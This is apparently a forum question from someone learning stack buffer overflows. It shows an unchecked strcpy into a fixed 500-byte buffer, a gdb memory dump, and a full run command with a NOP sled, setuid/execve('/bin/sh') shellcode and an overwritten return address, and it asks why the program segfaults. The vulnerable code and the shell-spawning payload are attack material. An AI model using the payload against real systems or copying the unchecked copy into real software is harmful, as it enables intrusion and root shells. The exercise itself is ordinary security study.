I'm trying to write a buffer overflow payload but when I was testing in gdb the RIP can't seem to understand a memory address holding the \x90 byte.

My code is like this

1       #include <stdio.h>
2       #include <string.h>
3
4       int main (int argc, char** argv) {
5           char buffer[500];
6           strcpy(buffer, argv[1]);
7           return 0;
8       }

When I ran x/500xg $rsp -550, I got something like this

0x7fffffffdc4a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc5a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc6a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc7a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc8a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc9a: 0x9090909090909090      0x9090909090909090
0x7fffffffdcaa: 0x9090909090909090      0x9090909090909090
0x7fffffffdcba: 0x9090909090909090      0x9090909090909090
0x7fffffffdcca: 0x9090909090909090      0x9090909090909090
0x7fffffffdcda: 0x9090909090909090      0x9090909090909090
0x7fffffffdcea: 0x9090909090909090      0xc031909090909090
0x7fffffffdcfa: 0x80cdc931db3146b0      0x074388c0315b16eb
0x7fffffffdd0a: 0x0bb00c4389085b89      0x80cd0c538d084b8d
0x7fffffffdd1a: 0x69622fffffffe5e8      0xffffdbfa68732f6e
0x7fffffffdd2a: 0x7fffffffdbfa7fff      0xdbfa7fffffffdbfa
0x7fffffffdd3a: 0xde2800007fffffff      0xa00000007fffffff
0x7fffffffdd4a: 0x513900000002f7fc      0xe159000055555555

So ran it with a payload using Python3 like this

run $(python -c 'import sys; sys.stdout.buffer.write(b"\x90" * 456 + b"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + b"\xca\xdc\xff\xff\xff\x7f" * 4)')

I can see that I am giving it the right length of \x90 padding because the return address is changed. However, I got a seg fault and the RIP doesn't seem to know where 0x7fffffffdcca is

0x00007fffffffdcea in ?? ()

This memory address should contain a bunch of \x90. Is it because the bytes after the bunch of \x90 doesn't make sense? I copied the bytes from a buffer overflow YouTube video. I don't get why it doesn't understand the memory address.